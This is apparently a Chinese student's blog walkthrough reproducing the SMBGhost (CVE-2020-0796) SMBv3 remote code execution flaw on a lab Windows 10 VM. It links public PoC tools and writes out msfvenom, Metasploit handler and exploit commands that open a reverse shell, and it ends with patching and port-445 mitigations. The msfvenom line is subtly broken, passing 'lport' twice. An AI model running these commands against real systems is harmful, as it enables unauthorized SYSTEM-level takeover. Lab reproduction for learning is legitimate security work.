CVE-2020-0796 SMBGhost RCE漏洞复现

临近期末考试,忙里偷闲复现下漏洞


0x00 关于CVE-2020-0796

一个由 Microsoft Server Message Block 3.1.1 (SMBv3)协议处理特殊请求时导致的远程代码执行(RCE)漏洞。攻击者如果成功利用漏洞,可以在目标服务器或客户端执行恶意代码 (攻击成功后,直接获取最高权限SYSTEM)。

影响版本:Win10 1903-1909。

微软于2020/03/13发布了漏洞补丁,补丁编号为KB4551762。

0x01 复现环境搭建

笔者在MSDN-itellyou上下载了Win10 1903 64位无补丁版本的镜像安装了虚拟机。注意,在安装前移除虚拟机的网卡,防止安装时或安装后系统自动升级或打补丁。

安装完成后,关闭Windows防火墙。

下载检测工具和利用工具,并确保配置好Python3环境:

检测脚本:https://github.com/ollypwn/SMBGhost
奇安信检查工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
PoC:https://github.com/chompie1337/SMBGhost_RCE_PoC.git

0x02 漏洞检查

听说ollypwn的检测脚本不准确,所以脚本和奇安信的工具我就都用了。

脚本检测:

奇安信工具自己扫自己(不要问为什么):

确认存在漏洞

0x03 漏洞利用

Kali Linux:192.168.154.133
Win10 1903 x64:192.168.154.136

使用msfvenom生成shellcode(反弹):

msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.154.133 lport=4444 -f py -o exp.py

替换exp.py中的buf为USER_PAYLOAD:

复制Payload,替换漏洞利用脚本exploit.py中的Payload:

可以看到,脚本作者还为此发了牢骚哈哈 (你相信吗,我竟然为了一段shellcode下载了Kali Linux)。

打开msfconsole,配置好handler:

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 4444

运行脚本:

python3 exploit.py -i 192.168.154.136

注意:可能不会一次成功,目标机器可能会蓝屏并重启,注意观察

我这里运气不错,靶机没有蓝屏就弹回shell了,SYSTEM权限:

0x04 漏洞修复

这些是我自己想到的方案,可能有不足:

  • 安装KB4551762补丁
  • 禁用SMB服务,或配置防火墙限制连入445端口
  • 安装杀软,CVE-2020-0796已经入库